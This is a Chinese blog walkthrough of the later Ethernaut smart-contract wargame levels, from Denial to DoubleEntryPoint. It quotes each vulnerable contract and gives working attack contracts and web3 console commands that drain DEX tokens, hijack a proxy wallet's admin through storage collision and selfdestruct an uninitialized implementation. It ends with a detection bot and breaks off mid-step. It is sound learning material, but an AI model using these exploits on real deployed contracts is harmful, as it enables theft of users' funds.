【Ethernaut闯关录】下篇
原文再续,书接上回,本文继续闯关,本次我们来完成剩余所有关卡。
Denial
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
通关条件:阻止合约所有者通关调用withdraw()函数取回资金。
要想阻止其转账,貌似只有从call和transfer处入手,但是对于owner变量和amountToSend我们无法控制,因此我们只能从call入手,该函数调用的地址partner是我们可以控制的,因此我们可以尝试利用该外部调用,触发一个revert操作。我原本想部署一个合约,然后在fallback函数中revert的
fallback()external{
revert('');
}
不过最终没有通关,网上找了一个
pragma solidity ^0.6.0;
contract attack {
address public target;
constructor(address _addr) public payable {
target=_addr;
target.call(abi.encodeWithSignature("setWithdrawPartner(address)", address(this)));
}
fallback() external payable {
assert(false);
}
}
依旧没有通关!
Shop
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
通关条件:将isSold变量设置为true同时将price减小。
本关卡实际上和关卡【Elevator】的解法差不多的。但是不同之处是这里的price是用view进行修饰。
view修饰的函数,只读取状态,但不修改状态
pure修饰的函数,既不读取也不修改状态。
这里的修改状态,是指:修改状态变量、触发事件、创建合约、使用
selfdestruct、通过call发送以太币、使用call调用任何没有被标记为view或者pure的函数、使用低级call、使用包含opcode的内联汇编。
在关卡【Elevator】中,我们通过在合约中设置一个变量来区分是第几次调用,而本关卡已经无法继续使用该方法了,因为我们将来实现的price()函数将不能够修改状态变量。
但是仔细想想,我们虽然不能通过本地合约中的变量来区分是第几次调用,但是不妨碍我们访问外部合约中的变量来确定啊,实际上我们可以通过判断Shop合约中的isSold变量来判断这是第几次调用,不过得使用staticcall,该函数不会改变状态:
contract Buyer {
address public instance;
constructor(address _instance){
instance = _instance;
}
function attack()public{
(bool success, bytes memory returnedData) = instance.call{gas:100000}(
abi.encodeWithSignature("buy()")
);
require(success);
}
function price() external view returns (uint){
(bool success, bytes memory returnedData) = instance.staticcall(
abi.encodeWithSignature("isSold()")
);
require(success);
bool isSold = abi.decode(returnedData, (bool));
if(isSold){
return 0;
}else{
return 100;
}
}
}
Dex
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
通关条件:盗走合约中的两个代币之一即可。
该合约中的函数swap()主要是实现给其他用户进行交换代币,然后通过getSwapPrice实现类似“汇率”的功能,即如果合约拥有的两种代币余额假若不同,则调用方需要支付的代币数目就会和得到的代币(当然这两种代币是不同的)数目不一样,问题就出在“汇率”的计算,因为该值等于合约拥有的两种代币余额的比值,假设两种代币中,合约拥有数量较少的代币为A,较多的是B,那么我们将A作为from_token,那么我就可以获得比amont还多的代币B(因为比值大于1),并保证调用swap后,合约拥有这两种代币的数量大小关系发生改变,接着我们就可以更换from_token,继续调用,直至最后达到合约拥有某个代币的数量为0,例如我们先用10个token1换取10个token2,,此时,合约和我们的各种代币余额如下:
| token1 | token2 | |
|---|---|---|
| player | 0 | 20 |
| contract | 110 | 90 |
然后用20个token2换取token1,得到数量为$20*\frac{110}{90}$的token1
| token1 | token2 | |
|---|---|---|
| player | 24 | 0 |
| contract | 86 | 110 |
不断重复上述过程,不过在此之前要先授权:
await contract.approve(instance, 500)
然后按照上面的逻辑,不断交换两种token。
await contract.swap('0x0ED5115953919866C5ED60f1fb44baBC356B5132', '0xc5e8b6e202a68a9C08BcF776138831D10A587714', 10)
await contract.swap('0xc5e8b6e202a68a9C08BcF776138831D10A587714', '0x0ED5115953919866C5ED60f1fb44baBC356B5132', 20)
await contract.swap('0x0ED5115953919866C5ED60f1fb44baBC356B5132', '0xc5e8b6e202a68a9C08BcF776138831D10A587714', 24)
await contract.swap('0xc5e8b6e202a68a9C08BcF776138831D10A587714', '0x0ED5115953919866C5ED60f1fb44baBC356B5132', 30)
await contract.swap('0x0ED5115953919866C5ED60f1fb44baBC356B5132', '0xc5e8b6e202a68a9C08BcF776138831D10A587714', 41)
await contract.swap('0xc5e8b6e202a68a9C08BcF776138831D10A587714', '0x0ED5115953919866C5ED60f1fb44baBC356B5132', 45)
完成最后的命令后,双方token如下:
| token1 | token2 | |
|---|---|---|
| player | 110 | 20 |
| contract | 0 | 90 |
至此,我们已经将合约的token1全部获取,达成通关条件!
Dex Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
**通关条件:**盗走合约中的两个代币。
这一关卡和上一关类似,只不过swap函数中,去掉了代币种类限制。也就是说,我们可以通关部署我们自己的代币,然后给我们player和合约DexTwo一定数量的代币,然后用新的代币换token1或者token2,即可实现:
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
contract AttackToken1 is ERC20 {
constructor(address _player, address _instance) ERC20('AttackToken1', 'T1'){
// 我们分别给我们自己,以及合约 DexTwo 各一个token
// 然后我们我们使用数量为 1 的该代币,即可换取其100个 token1
// 因为合约 DexTwo 拥有 token 100 个,拥有 AttackToken1 1 个,二者相差100倍
// 我们就可以获取 1 * 100 = 100 个token1了
_mint(_player, 1);
_mint(_instance, 1);
}
}
contract AttackToken2 is ERC20 {
constructor(address _player, address _instance) ERC20('AttackToken2', 'T2'){
// 同上
_mint(_player, 1);
_mint(_instance, 1);
}
}
从控制台获取player和instance地址后,部署上面两个合约,然后进行授权:
await contract.approve(instance, 500)
Attacktoken1.approve(instance_addr, 500)
Attacktoken2.approve(instance_addr, 500)
然后就是调用swap函数了。
await contract.swap(attacktoken1_addr,token1_addr, 1)
await contract.swap(attacktoken2_addr,token2_addr, 1)
Puzzle Wallet
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
**通关条件:**劫持钱包,成为代理的管理员
本关卡涉及代理,我们先来说一下代理模式,这是一种常见的设计模式,提供通过代理的方式访问真正的实例,生活中经理和秘书的关系实际上就是一种代理模式,我们要和经理打交道,先通过和秘书预约,秘书会转发消息到经理,经理的决策反馈到秘书,最终秘书会告知我们结果。
在程序设计中,如果我们要访问模块A,我们可以通过访问代理B,在代理B中,有模块A的对象实例,并且二者的接口几乎一致,使得我们调用B的时候,我们以为我们在调用A。
代理模式优点是:实现热部署,即如果我们业务逻辑要更新,我们只要在代理中切换实例对象即可,使用者并不知道服务有中断。
在智能合约中,该模式还有利于解决区块链中“一旦上链,就无法更新代码”的问题,我们可以部署一个代理合约,然后给管理员暴露一个切换真实实例的接口(函数),然后将转发功能在fallback函数中执行。
获取本道题的实例后,得到一个地址,0xb042791D96306B9A1e7dD3B8f3e7734af2B37C8f,然后在控制台输入:
await contract.methods
我们可以看到,都是PuzzleWallet 中的函数,可是实际上这个地址真的是合约PuzzleWallet的实例地址吗?实际上并不是,我们在Ethernaut的github项目中找到【工厂合约】,在
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './base/Level.sol';
import './PuzzleWallet.sol';
contract PuzzleWalletFactory is Level {
function createInstance(address /*_player*/) override public payable returns (address) {
require(msg.value == 0.001 ether, "Must send 0.001 ETH to create instance");
// deploy the PuzzleWallet logic
PuzzleWallet walletLogic = new PuzzleWallet();
// deploy proxy and initialize implementation contract
bytes memory data = abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether);
PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data);
PuzzleWallet instance = PuzzleWallet(address(proxy));
// whitelist this contract to allow it to deposit ETH
instance.addToWhitelist(address(this));
instance.deposit{ value: msg.value }();
return address(proxy);
}
function validateInstance(address payable _instance, address _player) override public view returns (bool) {
PuzzleProxy proxy = PuzzleProxy(_instance);
return proxy.admin() == _player;
}
}
可以看出,先是创建一个PuzzleWallet合约,然后创建PuzzleProxy并最后返回proxy地址。
那为什么从abi层面来看,又是PuzzleWallet呢?其实这就是代理模式,我们实际上暴露的就是实际合约的接口,用户面向的是代理。
通过查看UpgradeableProxy的【源码1】和【源码2】,我们可以发现,其在fallback函数中使用了delegatecall,该调用方式类似于库函数调用,借用远方地址的代码,修改本地的数据,但是该方式需要远方地址和本地地址有相同的存储槽相同,否则极易发生错误。
回到本关卡,为了达到将代理合约的管理员修改为我们自己,我们需要调用approveNewAdmin()函数,然后该函数只有管理者本身才可以调用,那我们该如何下手?我们仔细一想,我们能不能使用delegatecall来干点事,我们先看一下PuzzleProxy的存储:
---------------------------------
|unused (12)| pendingAdmin (20) | <- slot 0
---------------------------------
|unused (12)| admin (20) | <- slot 1
---------------------------------
再看一下PuzzleWallet的存储:
---------------------------------
|unused (12)| owner (20) | <- slot 0
---------------------------------
| maxBalance (32) | <- slot 1
---------------------------------
...
实际上二者并不相同,如果我们尝试使用delegatecall的方式修改变量maxBalance的同时,也会修改admin。这是突破口。
我们再来看看,如何能够修改maxBalance,支持修改改变量的函数只有两个,一个是init和setMaxBalance,前者是只能在创建合约时候调用,后者是需要我们在白名单内,我们再看看如何把我们加入到白名单中,加入白名单需要调用addToWhitelist,而该函数又被限制了只能是PuzzleWallet 的所有者(owner)才能访问,那我们看看能不能成为该所有者,很遗憾,PuzzleWallet 中没有函数可以做到修改所有者,但是实际上我们还可以继续通过delegatecall进行。
由于pendingAdmin和owner是处于同一slot,即我们通过调用PuzzleProxy.proposeNewAdmin,即可完成对owner的修改。
web3.utils.keccak256("proposeNewAdmin(address)")
'0xa6376746fd40c5ce12d104971ce46bc4c5b160393fb8e6810412fb23e06a0770'
// 取前 4 个字节
selector = '0xa6376746'
// 将我们的地址补全到 32 个字节
param = '000000000000000000000000' + player.slice(2,)
param.length == 64
// 调用
await web3.eth.sendTransaction({from: player, to: instance, data:selector + param})
await contract.owner() == player
完成上面以后,我们即可获取PuzzleWallet 的所有权。
然后将我们加入到白名单中:
await contract.addToWhitelist(player)
setMaxBalance函数还有一个要求,即合约拥有的以太币要为零。通过查询,await getBalance(instance),我们发现,其内有0.001的以太币,如果我们想要通过execute函数转走合约中的余额,就要求balances中记录我们的余额不为零且大于要转走的数目,而现在该值为零,想要它不为零,则要先转入以太币,这样又造成了其余额增多,因此该方法不可取。
换句话说,如果我们如果能够通过某种方式使得balances[player]>player转给合约的以太币,那么我们最后就可以通过execute将合约中的以太币都转走。
再仔细看看,我们发现PuzzleWallet 中还有一个函数multicall,该函数是用于实现一次性完成多次交易的,我们还注意到,其函数内有一段代码:
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
也就是说,在一次调用multicall中,最多只能对deposit调用一次,看上去心思缜密,但是实际上只是通过selector来进行判断,而这一步骤是可以绕过的,即第一次我们调用deposit(),第二次通过其本身调用multicall(deposit()),然后我们就可以使用0.001以太币的代价使得balances[player]修改两次(因为selector == this.deposit.selector被我们绕过了,multicall(deposit())是通过delegatecall的方式调用,该方式调用时候msg不会改变)
// 获取deposit()函数的签名
depositData = await contract.methods["deposit()"].request().then(v => v.data)
// 获取multicall(deposit())的签名
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
// 通过一次调用multicall,实现两次调用deposit
await contract.multicall([depositData, multicallData], {value: toWei('0.001')})
// 确保合约记录我们的余额与合约拥有的代币数量相同
fromWei(await contract.balances(player)) == await getBalance(instance)
这里查询我们的“余额”使用
contract.balances()是因为我们想要看看合约中记录的我们的余额是多少,即在合约看来,我们有多少钱,后者使用getBalance是查询合约拥有的以太币。
下一步就是要清空合约中的以太币了:
await contract.execute(player, toWei('0.002'), 0x0)
await getBalance(instance) == 0
下一步,就是通过设置设置maxBalance来修改admin了:
player
_maxBalance = '0x000000000000000000000000' + player.slice(2,)
_maxBalance.length == 66
await contract.setMaxBalance(_maxBalance)
我只能说这道题,完全碾压我😭
Motorbike
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
**通关条件:**将Engine进行销毁。
虽然Engine合约中没有调用selfdestruct函数的逻辑,但是该合约继承了Initializable,表明其具有更新的能力,为了更新Engine合约,使其具有selfdestruct函数的逻辑,我们要调用upgradeToAndCall,该函数会先调用_authorizeUpgrade,即对发起者进行判断是不是upgrader,后者的值可以在initialize中修改,前提是Engine没有被“完全”初始化,即Engine中的initialized为1.可是其真的为1了吗?
通过简单的审计,我们可以得出结论Motorbike是代理合约,Engine是逻辑合约,后者继承了Initializable合约,根据题目给的Initializable合约链接,我们可以知道Initializable中有两个布尔型变量,因此Engine的slot 0 布局如下:
-------------------------------------------------------
unused(10)|upgrader(20)|initializing(1)|initialized(1)| <- slot0
-------------------------------------------------------
此外,Motorbike 合约将逻辑合约地址写入到了一个标准位置,即_IMPLEMENTATION_SLOT 。
我们可以先看看该合约中的内容:
slot = '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc'
await web3.eth.getStorageAt(instance,slot)
'0x00000000000000000000000099fd7881e8df22fbfc339184c2b7aa55bd803aa6'
await web3.eth.getStorageAt('0x09c53d4a08a1b840fa4401e5219bdd91557c74a9',0)
'0x0000000000000000000000000000000000000000000000000000000000000000'
我们可以看得到,实际上initializing和initialized都是false。也就是说我们是可以调用initialize()来将upgrader修改为我们的地址,然后再调用upgradeToAndCall,修改新地址为我们部署的合约,data设置为调用selfdestruct(),因此攻击合约如下:
pragma solidity <0.7.0;
contract MotorbikeAttack {
address public engin_addr ;
constructor(address _engin_addr)public{
engin_addr = _engin_addr;
}
function attack() public{
// 先调用 initialize() ,将Engine中的upgrader设置为本合约地址
_setupgrader();
// 部署一个含有 selfdestruct 逻辑的合约
ContractWithDestruct ct = new ContractWithDestruct();
// 由于在 Engine 中,会通过delegatecall的方式调用data
// 因此实际上是 Engine 会执行
(bool success, ) = engin_addr.call(
abi.encodeWithSignature("upgradeToAndCall(address,bytes)",
address(ct),abi.encodeWithSignature("destruct()"))
);
require(success);
}
function _setupgrader() internal {
(bool success, ) = engin_addr.call(
abi.encodeWithSignature("initialize()")
);
require(success);
}
}
contract ContractWithDestruct{
function destruct()external{
selfdestruct(msg.sender);
}
}
使用await web3.eth.getStorageAt(instance,slot)获得的地址部署上述合约,然后调用attack函数即可完成攻击。
DoubleEntryPoint
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}
interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}
interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}
contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;
function setDetectionBot(address detectionBotAddress) external override {
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}
function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}
function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}
contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;
constructor(address recipient) {
sweptTokensRecipient = recipient;
}
function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}
/*
...
*/
function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}
contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}
function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}
contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;
constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}
modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}
modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));
// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);
// Notify Forta
forta.notify(player, msg.data);
// Continue execution
_;
// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}
function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
}
通关条件:部署一个异常检测机器人,监测合约并防止外部攻击者耗尽CryptoVault,使其耗尽不应耗尽的代币。
本关卡参考自:http://www.snowywar.top/?p=3848
根据描述,我们知道我们有两个代币,一个legacytoken,是一个被废弃的,还有一个是DcoubleEntrypoint,是取而代之的新货币,即它是legacytoken新版本
有个CryptoVault的金库.提供一个sweeptoken的方法,允许任何人向swepttokensrecipient sweep.
检查就是我们不能转移Vault的underlying代币,实际上该地址是DoubleEntryPoint地址。
部署时两种代币分别持有100,我们的目的是创建一个检测机器人,检测合约防止被外部攻击者耗尽cryptovault。
通过观察LegacyToken 合约,我们不难发现,delegate就是DoubleEntryPoint的合约本身,意味着在legacyToken上执行转移时,本质是DoubleEntryPoint.delegateTransfer
对于LegacyToken合约:
onlyDelegateFrom只允许delegateFrom调用这个函数。在此案例中,只有LegacyToken合约被允许调用这个函数,否则任何人都可以从origSender调用_transfer(即低级别的ERC20转账)。fortaNotify是一个特殊的函数修改器,触发一些特定的Forta逻辑,就像我们之前看到的那样
_transfer只检查to和orSender不是address(0),以及origSender有足够的代币转账到to,但它不检查orSender是msg.sender或花费者有足够的授权。这就是为什么我们有onlyDelegateFrom修改器。
通过结合我们收集到的所有信息,你是否发现了我们可以利用的错误?回顾一下我们现有的知识:
CryptoVault的underlying代币是DoubleEntryPoint。合约提供了一个sweepToken来转账Vault中的代币,但它阻止了对DoubleEntryPoint代币的转移(因为它是underlying)。DoubleEntryPoint代币是一个ERC20代币,它实现了一个自定义的delegateTransfer函数,只能由LegacyToken代币调用,并由Forta通过执行fortaNotify函数修改器监控。该函数允许委托人将一定数量的代币从origSpender转账到一个任意的接收者。LegacyToken是一个已经被废弃的ERC20代币。当transfer(address to, uint256 value)函数被调用时,DoubleEntryPoint(该代币的新版本)delegate.delegateTransfer(to, value, msg.sender)被调用。
问题出在哪里?因为LegacyToken.transfer是DoubleEntryPoint.transfer的 镜像,这意味着当你要求转账1个LegacyToken时,实际上你在转账1个DoubleEntryPoint代币(要做到这一点,余额中必须有这两者)。
CryptoVault 包含100个两种代币,但 sweepToken 只阻止了 底层 DoubleEntryPoint 的转账。
但是通过了解LegacyToken的工作原理,我们可以通过调用CryptoVault.sweep(address(legacyTokenContract))轻松抽取所有DoubleEntryPoint代币。
既然我们知道如何利用它,下一步就是阻止该过程。
当DoubleEntryPoint.delegateTransfer()被调用时候,由于fortaNotify 修饰器,IForta 中的handleTransaction最终先被调用。
为了进一步处理,我们先来了解一下msg.data是如何被函数传递:
-
最初,
msg.data被修饰器fortaNotify()收到,将包含以下函数签名:function delegateTransfer(address to, uint256 value, address origSender) -
然后将其发送到调用
handleTransaction(user, msgData)函数的notify()函数。这将更改我们的函数接收到的msg.data -
最终的
msg.data将包含函数handleTransaction(address user, bytes calldata msgData) external的msg.data;在第二个参数字节中,calldata msgData将是delegateTransfer()函数的实际msg.data。这是我们为了获取origSender的值而需要访问的内容。
下表显示了我们将开发的检测机器人看到的调用数据的排列。我们要关注的值是 0xa8 位置上的 origSender:
| 偏移量 | 变量大小(字节) | 类型 | 值 |
|---|---|---|---|
| 0x00 | 4 | bytes4 | handleTransaction(address,bytes) 的选择器== 0x220ab6aa |
| 0x04 | 32 | address | user 的地址 |
| 0x24 | 32 | uint256 | msgData的偏移量 |
| 0x44 | 32 | uint256 | msgData的长度 |
| 0x64 | 4 | bytes4 | delegateTransfer(address,uint256,address) 的选择器== 0x9cd1a121 |
| 0x68 | 32 | address | to 的地址 |
| 0x88 | 32 | uint256 | value 参数 |
| 0xA8 | 32 | address | origSender 参数 (我们需要关心的) |
| 0xC8 | 28 | bytes | 根据编码字节的 32 字节参数规则进行零填充 |
有了上面的分析后,我们就可以着手写我们的检测机器人的逻辑了:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}
interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}
contract AlertBot is IDetectionBot {
address private cryptoVault;
constructor(address _cryptoVault) public {
cryptoVault = _cryptoVault;
}
function handleTransaction(address user, bytes calldata msgData) external override {
address origSender;
assembly {
origSender := calldataload(0xa8)
}
if(origSender == cryptoVault) {
IForta(msg.sender).raiseAlert(user);
}
}
}
部署上述合约后,获得地址0x38977718DC4ed97440060a7cC065FEadC43EF995,修改合约中的机器人地址:
fortaAddress = await contract.forta()
detectionBotAddress = '38977718DC4ed97440060a7cC065FEadC43EF995'
web3.utils.keccak256('setDetectionBot(address)')
'0x9e927c686457d61946f62ee085aea4bf59c36754253995951bb435ea8d75e9e3'
